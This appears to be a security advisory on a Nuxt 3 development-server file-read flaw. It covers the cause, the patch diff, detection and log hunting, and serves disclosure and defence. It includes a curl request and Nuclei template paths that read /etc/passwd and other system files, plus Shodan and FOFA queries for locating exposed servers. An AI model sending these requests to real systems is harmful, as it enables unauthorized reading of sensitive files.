Introduction
A Nuxt 3 development server left reachable over the network could be coaxed into reading files well outside the project root by nothing more than a crafted GET request. For teams that expose dev instances, an unauthenticated attacker could retrieve sensitive system files such as /etc/passwd, and Shadowserver observed exploitation evidence in the wild on October 19, 2023.
Nuxt is a free and open source full stack framework for Vue that provides file based routing, server side rendering, and more than 300 modules. The repository is MIT licensed, and it is widely used across the Vue ecosystem. The flaw discussed here lives entirely in its development server, not in production builds.
Technical Information
The vulnerability lives in Nuxt's development server, specifically the vite-node middleware created by createViteNodeApp in packages/vite/src/vite-node.ts. In dev mode Nuxt runs a small h3 app that answers requests under /__nuxt_vite_node__/module/ by taking everything after module/ as a moduleId and passing it straight to ViteNodeServer.fetchModule(). Before the fix, the only validation rejected a bare /.
Vite's normal dev server enforces server.fs.allow and server.fs.deny before it serves anything off disk. This vite-node side channel never applied those checks. Any absolute path sent as a moduleId was loaded and returned, so files outside the project root could be read. The listed weakness is CWE-22, improper limitation of a pathname to a restricted directory, and the reported affected range is >= 3.0.0, < 3.4.2.
The file is served through Vite's module-loading pipeline rather than returned verbatim, which is why the issue is described as a "semi-arbitrary" file read. The cited records do not claim this CVE by itself gives code execution. The CVSS 3.1 vector records network access, no required privileges, no user interaction, high confidentiality impact, and no integrity or availability impact. The CVSS 4.0 vector likewise records high confidentiality impact with no integrity or availability impact. One scoring distinction is worth noting: CVE.org lists 7.5 High under CVSS 3.1 and 8.7 High under CVSS 4.0, while NVD says an independent NIST assessment has not yet been provided. The numeric difference reflects distinct scoring versions rather than conflicting values for one scale.
Attack flow
- An unauthenticated attacker locates an exposed Nuxt 3 dev server (versions 3.0.0 through before 3.4.2) reachable over the network.
- The attacker sends a GET request to
/__nuxt_vite_node__/module/with an absolute filesystem path appended as themoduleId. - The double slash matters: in
module//bin/..., everything aftermodule/becomes themoduleId, and that value starts with/, making it an absolute path. On Windows a drive-letter path (module/C:/...) achieves the same. - The pre-patch middleware passes this straight to
fetchModule(), processes the absolute path as a module, and returns a JSON object embedding the requested file's contents.
A single unauthenticated GET request is enough to reproduce it, for example curl http://TARGET:3000/__nuxt_vite_node__/module//etc/passwd.
Proof of Concept
A working, publicly available proof of concept exists as two verified ProjectDiscovery Nuclei templates, corroborated by the official Nuxt fix commit and PR that confirm the exact vulnerable code path. Both templates are flagged verified: "true", cite the original huntr.dev bounty disclosures, and date to June 17, 2023.
The fix commit 886350a27c6b733ae07dfd5f6b8457214aa83fe6 (PR #20345, merged 2023-04-18, shipped in 3.4.2) adds an absolute-path and file-serving-allow check before the fetch, confirming the pre-patch middleware served files outside the project root:
if (isAbsolute(moduleId) && !isFileServingAllowed(moduleId, viteServer)) { throw createError({ statusCode: 403 /* Restricted */ }) } const module = await node.fetchModule(moduleId).catch((err) => {
PoC #1: the /_nuxt/@fs/ path (Vite file-serving)
Template nuxt-js-lfi.yaml abuses the Vite @fs prefix:
http: - method: GET path: - "{{BaseURL}}/_nuxt/@fs/etc/passwd" - "{{BaseURL}}/_nuxt/@fs/windows/win.ini" matchers: - type: regex part: body regex: - "root:.*:0:0:" - "\\[(font|extension|file)s\\]" condition: or
A successful read returns /etc/passwd content matching root:.*:0:0:, or win.ini section headers on Windows.
PoC #2: the /__nuxt_vite_node__/module/ endpoint (the CVE's core path)
Template nuxt-js-semi-lfi.yaml targets the vulnerable vite-node middleware directly, using an absolute moduleId:
http: - method: GET path: - "{{BaseURL}}/__nuxt_vite_node__/module//bin/passwd" - "{{BaseURL}}/__nuxt_vite_node__/module/C:/Windows/System32/calc.exe" matchers-condition: and matchers: - type: word part: body words: - '"plugin":' - '"pluginCode":' - '"id":' condition: and - type: word part: header words: - "application/json"
The server responds with a JSON object containing "plugin", "pluginCode", and "id" fields (Content-Type application/json) embedding the requested file's contents, which confirms the read.
The flaw is only exploitable when a Nuxt 3 app runs in development mode with the dev server exposed. That is the common real-world misconfiguration when dev instances are reachable over the network.
Patch Information
The upstream fix is commit 886350a, "fix(vite): avoid serving arbitrary file in vite-node middleware". Anthony Fu wrote it, it was merged on 2023-04-18 through PR #20345, and it was released in Nuxt v3.4.2 on 2023-04-20. The v3.4.2 release notes list it under Fixes. Both NVD and the VulnCheck advisory reference this commit and PR as the fix, and give the affected range as >= 3.0.0, < 3.4.2.
What was wrong
In dev mode, Nuxt runs a small h3 app, createViteNodeApp in packages/vite/src/vite-node.ts. It answers requests under /__nuxt_vite_node__/module/ by passing the requested moduleId straight to ViteNodeServer.fetchModule(). The only check before the fix rejected a bare /. Vite's normal dev server enforces server.fs.allow and server.fs.deny before it serves anything off disk, but this side channel never applied those checks.
The core change: a gate before fetchModule
The fix adds a single guard. If the moduleId is an absolute path and Vite's file-serving policy would not allow it, the request fails with HTTP 403 before Vite loads anything:
if (moduleId === '/') { throw createError({ statusCode: 400 }) } + if (isAbsolute(moduleId) && !isFileServingAllowed(moduleId, viteServer)) { + throw createError({ statusCode: 403 /* Restricted */ }) + } const module = await node.fetchModule(moduleId).catch((err) => {
isAbsolute comes from pathe, and ViteDevServer is imported as a type so the check can read the live dev server's config.
How isFileServingAllowed decides
At the time, Vite did not export its own file-serving check (that was pending in vitejs/vite#12894), so the commit copies Vite's logic into Nuxt, about 60 added lines. It works in four steps:
- Normalize the request into a filesystem path.
cleanUrlremoves any?queryor#hashsuffix, andfsPathFromIdremoves a/@fs/prefix, changes Windows backslashes to forward slashes, and normalizes the path. The policy checks the real file path, not a lookalike string. - Honour
server.fs.strict. If the project turned strict mode off, the function returnstrue, same as Vite. - Deny list first.
server._fsDenyGlob(file)applies theserver.fs.denyglobs (for example.envand certificate files by default). This is a private Vite API. - Then the allow list. The path is allowed if Vite's module graph already lists it in
safeModulesPath, or if aserver.fs.allowdirectory contains it. Otherwise it is refused.
function isFileServingAllowed (url: string, server: ViteDevServer): boolean { if (!server.config.server.fs.strict) { return true } const file = fsPathFromUrl(url) // @ts-expect-error private API if (server._fsDenyGlob(file)) { return false } if (server.moduleGraph.safeModulesPath.has(file)) { return true } if (server.config.server.fs.allow.some(dir => isParentDirectory(dir, file))) { return true } return false }
isParentDirectory adds a trailing / to the allowed directory before the prefix match, so an allowed /app does not also match /app-secrets/..., and it compares in lowercase for case-insensitive filesystems.
Follow-up in the same release
Vite 4.3 started exporting the helper, and Nuxt moved to Vite 4.3 in #20405. Also in v3.4.2, PR #20414, "refactor(vite): use native isFileServingAllowed util", deleted the copied code (62 lines removed) and imported Vite's version instead:
-import type { ModuleNode, ViteDevServer, Plugin as VitePlugin } from 'vite' +import { isFileServingAllowed } from 'vite' +import type { ModuleNode, Plugin as VitePlugin } from 'vite'
The 403 gate in the handler did not change, only the code behind it, so future Vite hardening applies to Nuxt automatically.
Getting the fix
The fix is in Nuxt 3.4.2 and later. The release notes recommend upgrading with nuxi upgrade --force, which also refreshes the lockfile so the matching Vite version is installed. One thing to know: the guard only applies when server.fs.strict is on, which is Vite's default. If a project sets vite.server.fs.strict: false, this check allows every path, even on patched versions.
Detection Methods
This bug lives only in the Nuxt 3 development server, specifically the vite-node middleware mounted at /__nuxt_vite_node__/module/. That gives you two detection avenues: scan your own hosts for exposed vulnerable dev servers, and search your logs for the request shape.
Active scanning with the public Nuclei template
NVD and the VulnCheck advisory both link ProjectDiscovery's nuxt-js-semi-lfi template as a reference. It is marked verified: "true" and sends two probes (one Unix, one Windows), reporting a hit only when both matchers succeed:
http: - method: GET path: - "{{BaseURL}}/__nuxt_vite_node__/module//bin/passwd" - "{{BaseURL}}/__nuxt_vite_node__/module/C:/Windows/System32/calc.exe" matchers-condition: and matchers: - type: word part: body words: - '"plugin":' - '"pluginCode":' - '"id":' condition: and - type: word part: header words: - "application/json"
The detection logic is worth understanding. The double slash in module//bin/... makes the moduleId start with /, so it is an absolute path, which is exactly the input the vulnerable code fails to restrict. The matchers look for vite-node's response format (plugin, pluginCode, id keys plus application/json), not file contents, so the probe targets do not have to be real readable files and false positives stay low. Patched servers answer differently: an absolute moduleId that Vite's server.fs rules do not allow returns HTTP 403, and a bare / already got a 400. When probing your own hosts, JSON with the module fields means vulnerable, and a 403 on the same path means the guard is in place. One caveat: the guard returns true (allows the read) whenever server.fs.strict is turned off, so a patched server with relaxed Vite fs settings can still answer.
Finding exposed dev servers
The template metadata includes two fingerprints for finding Nuxt front-ends: a Shodan query html:"buildAssetsDir" "nuxt" and a FOFA query body="buildAssetsDir" && body="__nuxt". Use them on your own internet-facing ranges to build a target list, then run the template against those hosts.
Hunting in logs (passive detection)
Search reverse-proxy, load-balancer, WAF, or Node access logs for:
- Any request whose path starts with
/__nuxt_vite_node__/module/and where the rest is an absolute path: a leading extra slash (module//...) or a Windows drive letter (module/C:/...). Requests for sensitive locations (/etc/,/bin/,/root/,C:/Windows/, home directories,.envfiles) should get the highest priority. - Pair each match with its response. A 200 with a JSON body to an external client is a likely successful read, and a 403 is a blocked attempt against a patched server. Either way, the source is scanning you.
- Normally this endpoint is called by Nuxt's own dev tooling during server-side rendering. Requests from external or unexpected source IPs are suspicious. If you see this endpoint in production edge logs at all, a dev server is exposed.
Limits of what's published
Shadowserver credits itself with observing exploitation, but the sources reviewed contain no attacker IPs, domains, or file hashes. There are also no dedicated Sigma, Snort/Suricata, or YARA rules for this CVE. The practical detection set is the Nuclei template plus the endpoint-and-absolute-path pattern above. A hit in your logs means someone tried; you need the response code and body size to judge whether file contents actually left the server.
Affected Systems and Versions
- Nuxt 3.0.0 through all releases before 3.4.2 (
>= 3.0.0, < 3.4.2) are affected. - Fixed in Nuxt 3.4.2 and later.
- Exploitation requires the Nuxt 3 app to be running in development mode with the vite-node dev server (
/__nuxt_vite_node__/module/) reachable over the network. - Even on patched versions, setting
vite.server.fs.strict: falsedisables the guard and allows every path.
References
- NVD: CVE-2023-54417
- CVE Record: CVE-2023-54417
- Nuxt fix commit 886350a
- Nuxt PR #20345
- Nuxt PR #20414 (native isFileServingAllowed)
- Nuxt v3.4.2 release notes
- VulnCheck advisory (3.0.0 < 3.4.2)
- VulnCheck advisory (3.0.0 < 3.4.1)
- Nuclei template nuxt-js-semi-lfi.yaml
- Nuclei template nuxt-js-semi-lfi.yaml (raw)
- Nuclei template nuxt-js-lfi.yaml (raw)
- GitHub API: fix commit 886350a
- GitHub API: issue/PR 20345
- Nuxt Security Policy
- VulDB: CVE-2023-54417



